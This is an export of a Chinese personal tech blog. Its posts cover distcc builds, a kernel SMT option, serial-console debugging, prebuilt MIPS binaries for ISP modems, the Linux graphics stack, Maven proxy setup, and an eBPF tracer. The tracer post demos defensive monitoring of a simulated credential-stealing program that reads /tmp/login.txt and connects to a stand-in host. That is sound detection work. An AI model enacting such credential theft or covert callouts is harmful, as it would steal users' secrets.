集群在构建 Node.js 等大型项目时的测试结果。\nHardware Environment # S905X3 CPU x 4 \u0026lt; — distcc node\nRK3399 CPU x 1 \u0026lt; — distcc node\nRK3588 CPU x 1 \u0026lt; — main machine use to build\ni5-7200U CPU x1 \u0026lt; — distcc node\nTest Result # Build Node # Build Host : aarch64\nBuild Target : aarch64\nBuild Date : Sun Jan 29 19:53:27 UTC 2023\ncommit ac66a99cf18a8046cf580f350b4e09cde8cd18e3\nConfigure Flag :\n./configure --prefix=/opt/node_bin_git\nProvided Compiler :\nihexon@5b /m/z/node (main)\u0026gt; gcc -v Using built-in specs. COLLECT_GCC=aarch64-linux-gnu-gcc COLLECT_LTO_WRAPPER=/usr/lib/gcc/aarch64-linux-gnu/10/lto-wrapper Target: aarch64-linux-gnu Configured with: ../src/configure -v --with-pkgversion=\u0026#39;Debian 10.2.1-6\u0026#39; --with-bugurl=file:///usr/share/doc/gcc-10/README.Bugs --enable-languages=c,ada,c++,go,d,fortran,objc,obj-c++,m2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-10 --program-prefix=aarch64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-libquadmath --disable-libquadmath-support --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --enable-fix-cortex-a53-843419 --disable-werror --enable-checking=release --build=aarch64-linux-gnu --host=aarch64-linux-gnu --target=aarch64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-mutex Thread model: posix Supported LTO compression algorithms: zlib zstd gcc version 10.2.1 20210110 (Debian 10.2.1-6) Result :\n________________________________________________________ Executed in 41.63 mins fish external usr time 1003.51 secs 0.00 millis 1003.51 secs sys time 526.66 secs 3.15 millis 526.66 secs","date":"30 January 2023","externalUrl":null,"permalink":"/posts/distcctestresult/","section":"Posts","summary":"记录不同 ARM 节点组成的 Distcc 集群在构建 Node.js 等大型项目时的测试结果。\n","title":"Distcc 集群构建测试结果","type":"posts"},{"content":"CONFIG_SCHED_SMT 到底要不要打开？\nCONFIG_SCHED_SMT 到底要不要打开？ CONFIG_SCHED_SMT\nSMT 是叫同步多线程。是一种在一个CPU 的时钟周期内能够执行来自多个线程的指令的硬件多线程技术\n内核有关CONFIG_SCHED_SMT 的说明：\nImproves the CPU scheduler\u0026rsquo;s decision making when dealing with MultiThreading at a cost of slightly increased overhead in some places. If unsure say N here\n但是在那些地方变慢文档里没写，如果你翻看CONFIG_SCHED_SMT 为中心的 patches，你会发现启用CONFIG_SCHED_SMT 只会让内核变大一点，但完全可以接受。CONFIG_SCHED_SMT 相关的代码 sched_smt_present 静态 key 所控制，sched_domains 只在平台 CPU 支持 SMT 时才启用 SMT，CONFIG_SCHED_SMT 不会改变内核的原来行为。\n打开之前和之后的sched_domain 都一样：\nbash $ cat /proc/sys/kernel/sched_domain/cpu*/domain*/name | sort | uniq DIE MC 理论上不会让内核性能变慢其实。\n如果你你使用的时 CFS 调度，CFS代码内由额外的逻辑去迎合 SMT，如果你不启用 CONFIG_SCHED_SMT 那么CFS对 SMT 优化的特性就不会被编译。\n看到这里我觉得你也许会觉得还是打开这个配置比较好。\n","date":"28 January 2023","externalUrl":null,"permalink":"/posts/configschedsmt/","section":"Posts","summary":"CONFIG_SCHED_SMT 到底要不要打开？\n","title":"CONFIG_SCHED_SMT 配置笔记","type":"posts"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/minicom/","section":"Tags","summary":"","title":"Minicom","type":"tags"},{"content":"minicom 串口乱码，但也不是全乱码，随缘乱码，每次按回车的时候输出这玩意儿：\n串口异常 # minicom 串口乱码，但也不是全乱码，随缘乱码，每次按回车的时候输出这玩意儿：\n检查内核 cmdline 的 console 设置：\n$ cat /proc/cmdline console=ttyAML0,115200n8 console=tty0 检查 minicom 的用户配置：\n$ cat .minirc.amlogic pu port /dev/ttyUSB0 pu baudrate 115200 pu bits 8 pu parity N pu stopbits 1 pu rtscts No 波特率 为 115200 8N1 , 对应上了内核 console 的参数，说明 minicom 串口设置没问题。\n尝试设置 minicom 为 UTF 8 终端类型为 Xterm\n$ alias minicom=\u0026#39;minicom -w -t xterm -l -R UTF-8\u0026#39; 依旧随缘乱码。\n尝试 chroot 进 rootfs，安装 locales-all，手动设置 UTF8 环境变量：\nroot@localhost# chroot /tmp/rootfs ubuntu@amlogic# apt update;apt install locales-all ubuntu@amlogic# echo TERM=xterm-256color \u0026gt;\u0026gt; /etc/environment ubuntu@amlogic# echo LC_ALL=en_US.UTF8 \u0026gt;\u0026gt; /etc/environment 启动 rootfs 后，执行 echo $TERM; echo $LC_ALL 后验证 UTF8 环境，但 minicom 依旧随缘乱码。\n我他妈？？？\n什么情况？？？\n似乎和USB供电电源有关，我的板子是通过显示器USB接口进行 5v 供电，我换成5v usb 充电器这个问题会有几率消失。但也有几次换成5V USB充电器供电仍旧出现乱码的情况。难不成电压不稳或者空气介质中有其他干扰造成 TTL 信号不稳定 ？\n鬼魂作祟是吧：）\n似乎和USB2TTL板有关，我有两个 USB2TTL 板，换另外一个就不会出现随缘乱码的情况。难道和硬件有关？？？\n最后换了 从 Bash shell 换成了使用 fish 能缓解该问题。\n$ chshell \u0026lt;USERNAME\u0026gt; fish shell 的设计上似乎对命令行乱码有过滤的作用，能吞掉这些随机的乱码字符。但仅仅是缓解，因为乱码还是存在。\n更新：Sat 28 Jan 2023 10:38:42 AM UTC\n内核配置 CONFIG_NLS 下，瞎JB全选就像这样：\n问题就消失了我去…..\n可这是文件系统命名支持，和SerialConsole控制台乱码有什么关系…..\n并且这样一来内核就大了6kb左右的样子，整整 6kb 啊，你知道 6kb 能在Boot 分区干嘛么？你知道Boot 莫名其妙被插入 6kb 左右的代码有多奇怪，多诡异吗？\n好刺激，好兴奋，好涩涩，真是心疼 emmc 哥哥的空间间啦….\n","date":"28 January 2023","externalUrl":null,"permalink":"/posts/serialconsolegetfuckingrandomstrings/","section":"Posts","summary":"minicom 串口乱码，但也不是全乱码，随缘乱码，每次按回车的时候输出这玩意儿：\n","title":"minicom 串口乱码排查","type":"posts"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/serial-console/","section":"Tags","summary":"","title":"Serial-Console","type":"tags"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/smt/","section":"Tags","summary":"","title":"Smt","type":"tags"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/binaryhub/","section":"Tags","summary":"","title":"Binaryhub","type":"tags"},{"content":"你可以在我的 GitHub 上下载到这些二进制 ELF 工具，如 curl，wget，ftp，busybox 等。这些工具主要用于分析嵌入式设备的固件，搭建测试环境，还可以整点有趣的活，比如在运营商的光猫上跑点自己的代码，比如 PHP 和 Perl。\n我提供一些预先构建好的二进制文件 # 你可以在我的 GitHub 上下载到这些二进制 ELF 工具，如 curl，wget，ftp，busybox 等。这些工具主要用于分析嵌入式设备的固件，搭建测试环境，还可以整点有趣的活，比如在运营商的光猫上跑点自己的代码，比如 PHP 和 Perl。\n如果你不想手动构建某些二进制工具给光猫这类的设备，好的，我已经替你干了这些无聊的活。 mips32_big_endian 目录下的所有二进制 ELF 文件使用 musl 的 mips32_be 交叉工具链构建并且是静态编译的丢到 设备的 /tmp/ 赋予可执行权限就可以直接运行。mips32_be 交叉编译工具链也是从 Buildroot 构建的。\n注意当前我只提供 MIPS32 大端架构的静态 ELF 二进制文件。我没有 MIPS_EL小端设备，暂时测试不了。\n以后还会提供 ARM 架构的二进制 ELF 文件\n关于 debug symbol # 你会发现单个二进制文件体积有点大，因为我保留了 debug symbol，因为某些 ELF 文件 运行的不是很好，需要调试，保留 debug symbol 你也自己可以帮忙调试。\n还有一个是安全原因，保留 debug symbol 的意思是你可以在 GDB 里直接看到原始的 C 代码。而你在别的地方下载到的 ELF 文件可能被注入了 shellcode并且去除了这些调试符号，增加你调试这些恶意代码的难度。\n这些散布恶意代码的人我不说，但总有一天会被发现。\n有用的信息，你可能需要在下载之前看看 # Sha1sum.txt Release ChangeLog BinaryNote.md 即使静态编译的程序有时候还是需要外部文件支持运行，比如 file 就通过外部 magic 文件进行文件类型判断，还有 Vim 需要 Terminfo 和 VimRuntime，部署这些二进制就需要做一点处理，你可以在 BinaryNote.md 里找正确运行这些程序有用的信息，能帮你节约大量的时间\n这里提供mips32_big_endian 目录下二进制文件的 ELF 头和我家光猫的内核信息：\n# ELF Header: Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2\u0026#39;s complement, big endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 # Kernel version Linux (none) 3.18.21 #4 SMP Tue Nov 22 16:34:26 CST 2022 mips GNU/Linux # CPU INFO system type : EcoNet EN751221 SOC machine : Unknown processor : 0 cpu model : MIPS 34Kc V5.8 MIPS : 1195.21 wait instruction : yes microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb] isa : mips1 mips2 mips32r1 mips32r2 ASEs implemented : mips16 dsp mt","date":"27 January 2023","externalUrl":null,"permalink":"/posts/binaryhub/","section":"Posts","summary":"你可以在我的 GitHub 上下载到这些二进制 ELF 工具，如 curl，wget，ftp，busybox 等。这些工具主要用于分析嵌入式设备的固件，搭建测试环境，还可以整点有趣的活，比如在运营商的光猫上跑点自己的代码，比如 PHP 和 Perl。\n","title":"BinaryHub：预构建嵌入式二进制工具","type":"posts"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/intellij-idea/","section":"Tags","summary":"","title":"Intellij-Idea","type":"tags"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/java/","section":"Tags","summary":"","title":"Java","type":"tags"},{"content":"Linux 显示软件栈贼复杂，是我见过最复杂的系统，然后我本来就挺笨的。关于 Linux 显示软件与技术栈，说错我不负责，你看看就好。\n说一下 2D 渲染 # 科普一下 X Server 相关的库 # Xlib、XCB、GTK、Qt、X Toolkit 的关系：\nXlib 是一个用于 2D 绘图的 C 函数库，用来与 X Server 通信。有了 Xlib，开发者就可以在不了解 X Protocol 细节的情况下编写图形界面。Xlib 现在逐渐被 XCB 取代：Xlib 是 1985 年的项目，XCB 是 2007 年的项目，XCB 重新实现了 Xlib 的核心能力。\nXlib 仍然属于底层库，不提供 Button、Widget、Dialog 这样的组件，那不得搞死人。所以程序员一般不会直接使用 Xlib，而是使用更高层次的图形库，比如 X Toolkit、GTK、Qt、SDL 等。但注意，调用 Xlib 不是这些图形库唯一的绘图办法，许多图形库也可以直接和图形硬件通信。\n这里放一张图：\n如果你有编写 X Toolkit（Xt）及上层库如 Motif 的开发经验，那么叔叔你好，你的孩子可能都比我大了。\nX Server 的角色和内部的 DDX 驱动 # 简单说一下：Xlib 是通过 X Server 间接完成所有绘图。Xlib 通过 X11 Protocol 发送渲染指令，X Server 接收并处理这些指令，再将其转换为硬件绘图的实际指令。也就是说，X Server 能将 X Protocol 这种与硬件无关的指令转换为与图形设备相关的硬件指令。\nX Server：虽然我不是显示驱动，但我也干显示驱动的活，蛤蛤蛤。\n可是显示硬件很多，ARM Mali GPU 就有一堆不同的型号，再加上 Intel、AMD、NVIDIA，X Server 需要把统一的 X Protocol 转化为每个厂商、每种硬件专有的绘图语言，这就涉及巨量 GPU 寄存器和显示内存的读写操作。X Server 的代码岂不是日渐肥胖到最后无法维护。\n所以 X Server 内与特定显示硬件相关的代码就需要独立出来，成为单独的用户空间二进制库，这就是 X Server 内的 DDX 用户空间驱动。DDX 用户空间驱动才是真正的显示驱动，但 DDX 驱动也只是整个显示驱动的一部分。\n如果你用的 Ubuntu，Intel 集成显卡，那么你会发现系统中有这个软件包： xserver-xorg-video-intel，这就是 Xserver 内的 DDX 驱动。\n3D 绘图的情况 # OpenGL 不是库函数，是一个 3D 绘图标准 # 虽然 OpenGL 的全称是 Open Graphics Library，但它不是某个具体的二进制库，而是一个标准。OpenGL 定义了差不多 350 多个标准 2D/3D 绘图指令，其指令就像这样：\n这里是 OpenGL 3.1 规范里 Shader 相关的函数：\nOpenGL 因为它是无形的，所以不仅跨语言，还跨平台。显示硬件厂商大多会根据 OpenGL 规范实现一套闭源的 GL 函数库，也就是 libGL.so，并且厂商给出的 libGL.so 一般都带有硬件加速功能。\n逼逼赖赖几句：显示硬件属于计算机硬件中黑盒子中的黑盒子，所以 OpenGL 的具体实现大多由厂商编写，部分有机会开源，某些 ARM 平台提供的 libGL.so 驱动不仅闭源还非常不友好。理想情况下，厂商应该根据 OpenGL 标准去实现 libGL.so 图形库，但很多厂商还是个大爷：我可以不按 OpenGL 的标准去实现 libGL.so，我也可以魔改扩展 OpenGL，导致 OpenGL 从规范变成了参考，干脆叫 libFuckYourselfGL.so 算了，蛤蛤蛤。\nX Server 通过 GLX 转发 GL 指令，实现 3D 绘图的间接渲染 # 厂商给出的 libGL.so 能直接操作显示硬件的寄存器和显存。一些独占屏幕的 3D 应用可以直接调用厂商给的 libGL.so 进行带硬件加速的 3D/2D 绘图。我初中的电子词典 UI 就是 Qt 桌面，独占显示，使用的是闭源的 MIPS 处理器，北京君正生产的 Jz4740 SoC，使用不知道从哪里来的闭源 libGL.so 进行绘图，打 NES 游戏能到 30fps，效率还可以。\n但这明显不兼容 Linux 已有的显示栈，因为早期的 Linux 上只有 X Server，开发者也不想大改 Linux 的显示软件栈。所以开发者搞了一组扩展叫 GLX（OpenGL Extension to the X Window System）。\nGLX 是一组对 X Window System 的扩展，主要由三部分组成：\nOpenGL 函数的编程接口，好让 X Window System 之上的程序可以使用 OpenGL 指令 扩展 Window Protocol，让运行在 X Server 之上的程序可以发送 OpenGL 指令给 X Server 扩展 X Server，使 X Server 能处理和接收 GL 渲染指令，并将它们传递给厂商提供的 libGL.so 库，当然也可以是其它 libGL.so，比如完全开源的 Utah GLX driver。 然后整个架构得就像这张图：\n这种渲染方式叫 间接渲染（indirect rendering），使用 OpenGL 指令每次都需要经过 X Server。显然这种渲染方式效率比较低，因为中间多了一层 X Server 对 GL 指令的转发，在密集绘图和渲染时，每次这么一来一回显然是资源浪费。\n直接渲染 # 再写就猝死了…..我先去睡一下。\n","date":"27 January 2023","externalUrl":null,"permalink":"/posts/thelinuxgraphicsstack/","section":"Posts","summary":"Linux 显示软件栈贼复杂，是我见过最复杂的系统，然后我本来就挺笨的。关于 Linux 显示软件与技术栈，说错我不负责，你看看就好。\n","title":"Linux 显示软件栈乱谈","type":"posts"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/linux-graphics/","section":"Tags","summary":"","title":"Linux-Graphics","type":"tags"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/maven/","section":"Tags","summary":"","title":"Maven","type":"tags"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/opengl/","section":"Tags","summary":"","title":"Opengl","type":"tags"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/proxy/","section":"Tags","summary":"","title":"Proxy","type":"tags"},{"content":"","date":"27 January 2023","externalUrl":null,"permalink":"/tags/x11/","section":"Tags","summary":"","title":"X11","type":"tags"},{"content":"真是烦死了，每次看 Maven 的 Java 项目都要经历 jar 包下载失败；手动执行 mvn dependency:sources，又依赖下载失败，浪费巨多时间。\nIDEA 上代理 # IDEA 支持 HTTP 代理，位置是 File | Settings | Appearance \u0026amp; Behavior | System Settings | HTTP Proxy：\n不得不说 IntelliJ IDEA 的 UI 逻辑做得真舒服，就好用。很难想象这种程度的 UI 竟然是使用老掉牙的 Java Swing 图形框架实现的。\nIDEA 自带的 Maven 走代理 # Maven 需要额外设置，因为 IDEA 和 Maven 启动的 JVM 虚拟机是两个独立的 JVM 进程。\n在 File | Settings | Build, Execution, Deployment | Build Tools | Maven | Importing 的 VM options for importer 内填写 JVM 的启动参数，让 Maven 所在的 JVM 全局走代理就行：\n-DproxySet=true -DproxyHost=localhost -DproxyPort=2020 最后：IDE 我只选 IntelliJ IDEA，虽然当然我最常用的是 VSCode。\n祝大家新年快乐呀~\n","date":"27 January 2023","externalUrl":null,"permalink":"/posts/useproxyforjavadevandfuckthatfirewall/","section":"Posts","summary":"真是烦死了，每次看 Maven 的 Java 项目都要经历 jar 包下载失败；手动执行 mvn dependency:sources，又依赖下载失败，浪费巨多时间。\n","title":"给 Java 开发环境配置代理","type":"posts"},{"content":"BetterProfiler 是一个针对嵌入式 Linux 的进程动态跟踪器。BetterProfiler 可追踪进程与内核的整个生命周期，文件 IO，网络IO，内存操作，加密读写等。\n摘要 # BetterProfiler 是一个针对嵌入式 Linux 的进程动态跟踪器。BetterProfiler 可追踪进程与内核的整个生命周期，文件 IO，网络IO，内存操作，加密读写等。 BetterProfiler 相较于其他安全监控工具：\nBetterProfiler 运行在内核中，使用 eBPF 技术动态的附加到从内核的各项节点中，对系统进行全局性的观测和监控。 BetterProfiler 相较于其他的跟踪工具，运行速度相当快，对系统负载极其小，可以在内存54M的嵌入式Linux中稳定运行6个月。 BetterProfiler 监控范围覆盖内核的各项系统调用，如文件 IO，网络IO，内存操作，加密读写，甚至是底层驱动事件，且支持的调用还在增长中。 BetterProfiler 提供标准的日志结构，提供统一的 API接口，可以作为核心接入现有安全产品，还可进行二次开发。 BetterProfiler 使用了CO-RE 技术，完美解决了 BPF 可移植性差问题，且不依赖其它第三方库和，非常简洁，可以一次编写到处运行。 BetterProfiler 部署非常简单，解压直接运行，不需要复杂配置。 BetterProfiler 可以帮助安全从业人员发现系统中已知和未知的威胁，也可以用来作为一种观测 Linux 内核高效手段，其观测点能覆盖到内核各个角落，是一种非入侵式的系统监测方法。可用于计算机取证，安全监控预警，ELF 逆向，病毒动态行为分析等。\n概述 # Linux 上始终没有一个好用的进程动态分析器，具体分析如下：\n已有的跟踪工具对系统负载影响较大如基于 ptrace 的 strace。应用程序每做一次系统调用都需要 ptrace 进行捕获, 获取到数据后再放行相应的系统调用，ptrace 需要做很多复杂的操作, 如果应用程序的系统调用很频繁, strace 就会对程序产生很大的影响。 以内核模块的方式加载进内核带有入侵性和破坏性如基于内核模块的sysdig。systemtap toolkit 则配置过于复杂，深入的分析需要在 systemtap 脚本中内嵌相关的代码才行，如果嵌入 c 代码，那么 systemtap就很难保证代码的安全性。 基于 bpftrace 的 bcc 和 BetterProfiler 采取的相同的 eBPF 技术栈，bcc 能监控的地方从应用到内核，不同层面的工具应有尽有，bpftrace可以结合 kprobes/kretprobes/uprobes 封装成强大的动态分析器，但 bcc 使用仍旧复杂，需要开发者对内核跟踪技术有清晰了解，且 bcc 会在运行时编译 ebpf 代码，在运行时效率高，但在最开始对系统的负载较高，bcc 还有个重要缺陷就是对运行环境有严格需求，需要配置clang编译器和内核头文件，并不适用于嵌入式环境。 BetterProfiler 相较于其他 Linux进程跟踪办法：\n它使用非常简单，因为我们替你已经封装好了大部分通用操作，用户只需要关注他们想要监控的行为逻辑。 它运行飞快，对系统几乎不造成负载，因为它使用的较新的eBPF内核观测技术，同时使用了JIT进一步加速代码在eBPF VM中的执行速度。 它不具有入侵性，相较于其他进程跟踪技术，它不是内核模块，不用注入进程上下文，不需要更改现有生产环境。 它覆盖了大部分内核系统调用，基本可以观测任何你想观测的东西，并且随着 eBPF 的发展，可观测点还在增加，只需要把感兴趣的观测点加入 BetterProfiler 中就行。 它容易部署，提及非常小，所有组件都自包含在单一可执行文件里，27M的体积可以放入路由器，光猫，机顶盒，Android 手机中。 设计与实现 # 内核从操作系统发展的历史上看就具有监督和控制整个系统的特权，所以理论上内核一直是实现检测追踪、安全模块，网络封包处理的理想场所。 内核是一个基于事件的系统，这意味着所有的工 作都可以用事件来描述和执行，打开文件是一种事件，执行一个 CPU指令是一个事件，接收网络数据包是一个事件。\n简单来讲 BetterProfiler 和核心逻辑就是使用 eBPF 技术来监控内核中所触发事件，其中参考了bpftrace 与 bcc 的设计，在事件触发时追踪事件的来源，并执行开发者编写的代码。\n我们将从以下几个方面讨论 BetterProfiler 的设计与实现：\n以非入侵的形式载入内核态 覆盖大部分可监控区域 使用 JIT 加速指令运行 抵御恶意操纵 以非入侵的形式载入内核态 # 许多恶意软件分析方案都是基于内核模块的，从大公司私有的动态分析方案到开源的如 ftrace与 systemtap 都与内核有着强绑定关系，这样做的好处是可以覆盖比较大的可检测范围，缺点也显而易见就是一个字 「 危 」。内核由于其处于操作系统核心地位，对稳定性和安全性有高要求，类似空指针，偏移量，在错误的地址写入数据等问题都会使得内核崩溃，在控制台打印 kernel panic( 内核恐慌 )，此时整个系统旧歇菜了。这也就是 内核恐慌 为何会系统开发者口中的段子，因为在编写内核模块及内核子系统时，不正确的操作内核导致内核崩溃是基本上是必然事件。\nBetterProfiler 不是内核模块，而是通过 eBPF 虚拟机载入内核，这是一种高级的虚拟机类似于 Java 虚拟机。为的就是在在隔离的环境中运行指令代码，eBPF虚拟机 使用 eBPF 验证器来确保BetterProfiler 的 eBPF 指令在内核中安全运行。 BPF 验证器能阻止可能使内核崩渍的代码。如果代码是安全的，此时 BetterProfiler 的 eBPF 指令程序将被加载到内核中。\n这样做还有一个好处就是以非内核模块的形式载入内核中，相较于直接插入内核模块的入侵行为，安全性直接拉满，内核再也不会因为错误的代码产生内核恐慌现象。\n其某些BetterProfiler 支持以非 Root 权限载入内核中，访问某一部内核数据结构的子集，在实际环境中，这些子集已经满足日常监控需求。\n覆盖大部分可监控区域 # 硬件与内核态与用户态的关系大致可以描述为如下三层：\n进程在用户空间（User Space）中，进程（Process）通过系统调用如 write() 与 read() 读写文件，通过 sendmsg() 和 recvmsg() 系统调用读写网络，这些系统调用是内核子系统封装的统一且稳定的API。而操作系统也提供对于底层驱动和内核的配置接口，如 sysfs，netlink，procfs等接口，这些接口可以改变系统运行行为，添加删除硬件设备等。 在这些系统调用之下是虚拟文件系统（VFS），TCP/IP 网络栈等内核子系统。这些子系统会完成用户态发起的系统调用，并返回相应的结果给用户空间程序。 内核态直接与硬件交互，管理硬件资源，并提为内核子系统提供原始数据及硬件抽象。 而 BetterProfiler 的位置在系统调用进入内核的最开始，以及分布在每个内核子系统发起系统调用的期间：\n所以 BetterProfiler 能获取到的信息非常多且细致，他能捕获应用加密层生成的随机数，捕获事件发生时的准确的Unix时间戳，操纵网络数据包和转发逻辑，获取进程 cgroup 上下文等，理论上是无所不能的。\n抵御恶意操纵 # 每年护网期间，一个从始至终的话题就是“火墙极其相关安全设备是怎么被黑掉的”。实际上，安全设备在很多时候反而容易成为内网的安全弱点，因为安全设备本来就处于敏感地带的出口区域，且所有数据都会经过安全设备审计，如果安全设备内的软件栈被恶意操纵，那么参与护网的厂商就离出局不远了。所以如何抵御外部的恶意操纵是一个非常重要的话题。\nBetterProfiler 有完善的抵御外部恶意操作的逻辑，在程序成功完成验证进入内核之后，eBPF 程序会根据程序是从特权进程还是非特权进程加载来运行一个加固过程。此步骤包括：\n程序执行保护：保存 eBPF 程序的内核内存受到保护并设为只读。无论是内核错误还是恶意操纵，试图修改 eBPF 程序内核立即崩溃，阻断 Rootkit 通过 BetterProfiler 的代码执破坏系统。 常量盲化：代码中的所有常量都被盲化，以防止 JIT 喷射攻击。这可以防止攻击者将可执行代码作为常量注入，在存在另一个内核错误的情况下，攻击者可能会跳转到 BetterProfiler 程序的内存部分来执行代码。 作品测试与分析 # 本次测试环境如下：\n内核：Linux 5.10.12+ 底层C库：musl libc 文件系统：busybox 内存：64 MB FLASH存储：512 MB 监控某敏感文件是否被读取 # 假设我们的敏感文件在下 /tmp/login.txt ，监控系统进程中对 /tmp/login.txt 的读写，我们模拟的操作如下：\nid 为 1000 的用户使用 cat 命令查看了 /tmp/login.txt 文件，返回 empty id 为 1000 的用户使用使用 echo 命令写入 passwd 12345 到 /tmp/login.txt 文件 id 为 1000 的用户使用使用 vim 编辑了 /tmp/login.txt 文件 id 为 1000 的用户使用最终删除了 /tmp/login.txt 文件 使用如下命令发起对 /tmp/login.txt 的监控：\nsudo /tmp/bfer/dist/bfer --trace event=openat --trace openat.pathname=\u0026#34;/tmp/login*\u0026#34; BetterProfiler 监控到的内容如下：\nBetterProfiler 很好的记录了id为 1000 的用户对 /tmp/login.txt 发起的每一次操作，包括时间戳，运行的命令，PID号，对/tmp/login.txt 操作所发起的系统 openat() 调用，以及openat()系统调用参数：\ndirfd: -100, pathname: /tmp/login.txt, flags: , mode: 0 监视某张网卡上的链接，并反推恶意链接发起者 # 我们模拟的行为如下：\n恶意 ip 为 192.168.31.1，域名为 zzh.fuck id 为 1000 的用户使用 后门程序 来对 zzh.fuck 的 80 端口 发起请求 tcp 请求 id 为 1000 的用户使用 后门程序 来对 zzh.fuck 的 8080 端口 发起请求 tcp 请求 使用一下命令监控这种网卡的所有数据：\nsudo /tmp/bfer/dist/bfer --trace set=network_events --trace net=wlan0 BetterProfiler 监控到的内容如下：\n可以看到 BetterProfiler 同样记录了每次恶意请求的时间戳，发起请求的内核事件为 net_packet 组，且推导出了恶意程序的PID与TID号，同时记录了出站和入站的 IP 端口信息，以及出站入站所占用的物理网卡名称，以及每次请求的数据包荷载大小。\n监视某恶意程序的所有行为，并导出为 JSON 文件审查 # 我们模拟的行为如下，编写一个恶意程序，使用 exec 运行其恶意代码，记录其所有系统调用行为，并审计敏感行为。\n假设我们的恶意程序伪装成为 curl，其恶意行为如下：\n向 zzh.fuck:8080 端口发送恶意 payload 使用如下命令监控此二进制程序：\nsudo /tmp/bfer/dist/bfer --output json --trace comm=curl | jq 输出了大量的日志信息，BetterProfiler 记录了这个程序的所有系统调用，以及调用参数，参数内的地址，我们可以根据这些信息推测该恶意程序的恶意行为，甚至是无视其加密层提取其传输内容。\n以下是日志的一部分，恶意程序使用了security_file_open 定位到了 /tmp/login.txt\n\u0026#34;eventName\u0026#34;: \u0026#34;security_file_open\u0026#34;, \u0026#34;argsNum\u0026#34;: 6, \u0026#34;returnValue\u0026#34;: 0, \u0026#34;stackAddresses\u0026#34;: null, \u0026#34;args\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;pathname\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;const char*\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;/tmp/login.txt\u0026#34; }, { 继续跟踪其行为：\n\u0026#34;eventName\u0026#34;: \u0026#34;security_socket_create\u0026#34;, \u0026#34;argsNum\u0026#34;: 4, \u0026#34;returnValue\u0026#34;: 0, \u0026#34;stackAddresses\u0026#34;: null, \u0026#34;args\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;family\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;int\u0026#34;, \u0026#34;value\u0026#34;: 2 }, { \u0026#34;name\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;int\u0026#34;, \u0026#34;value\u0026#34;: 2 }, 该程序使用系统调用 security_socket_create 创建了一个 socket 管道，\n其参数为：\n{ \u0026#34;name\u0026#34;: \u0026#34;remote_addr\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;struct sockaddr*\u0026#34;, \u0026#34;value\u0026#34;: { \u0026#34;sa_family\u0026#34;: \u0026#34;AF_INET\u0026#34;, \u0026#34;sin_addr\u0026#34;: \u0026#34;192.168.31.68\u0026#34;, \u0026#34;sin_port\u0026#34;: \u0026#34;8080\u0026#34; } } 而在模拟环境中，恶意域名对应的ip为192.168.31.68，端口为 8080，可以初步判断其为窃取用户口令的恶意软件。\n性能测试 # 监控系统所有发起网络连接的程序极其内部调用链条，BetterProfiler 占用CPU约 30%，占用内存50M，30秒输出日志 920M，涵盖系统当前所有对外发起的链接，以及对应的程序，时间戳，所属用户，发起的系统调用名称，文件描述符，函数参数，函数返回地址等。\n对于某个程序进行24小时持续跟踪，占用CPU约 5%，内存占用3MB，涵盖该程序当前所有对外发起的链接，以及对应的程序，时间戳，所属用户，发起的系统调用名称，文件描述符，函数参数，函数返回地址等。\n监听全局网络读写时，万兆吞吐量下 TCP 读写速度下降 3-5%，相较于 Iptables 万兆吞吐量下 TCP 收发基本处于不可用状态\n监听全局文件读写时，磁盘 IO 能效基本没有下降。\n总结 # BetterProfiler 可以像 Wireshark 一样抓取整个系统的事件响应，这些时间是一个不断增长的巨大列表，几乎涵盖Linux内核的各个角落，可帮助开发人员：\n调试与理解系统行为 对恶意软软件进行逆向分析 录制软件整个生命周期 学习Linux 内核原理 进行漏洞挖掘 BetterProfiler 非常轻量，对系统运行负载极低，并且解决了 eBPF 的可移植性问题，对运行环境基本没有需求，其不依赖其他组件。\nBetterProfiler 运行在 eBPF 虚拟机中，虽然运行在内核态中，但其行为却较为克制，以一种非入侵的方式接管安全人员感兴趣的内核安全路径，软件自身也考虑到了极端情况下的安全性，例如一个精心设计的恶意程序触发了 BetterProfiler自身代码缺陷导致安全漏洞，在这种情况下 eBPF将会立刻引发内核崩溃，阻止危害扩大。\nBetterProfiler 提供标准化日志接口（json和xml），可以与现有安全产品进行对接，如防火墙，日志审计系统等，开发者还可编写自己的前端 BetterProfiler 进一步可视化系统内部的多种行为。可作为端点防御和病毒动态监测引擎。\n创新性说明 # 实话没有多少创新的成分，单纯觉得当下Linux上的 动态监测和监控没有好用的方案，Linux上的额跟踪技术五花八门，各自为营，切需要很强的调试能力。Linux上的安全模块没有统一的解决方案，防火墙使用iptables，沙箱使用 secomp，跟踪使用 strace或者ftrace，切相同的功能重复率高。所以有人说 Linux 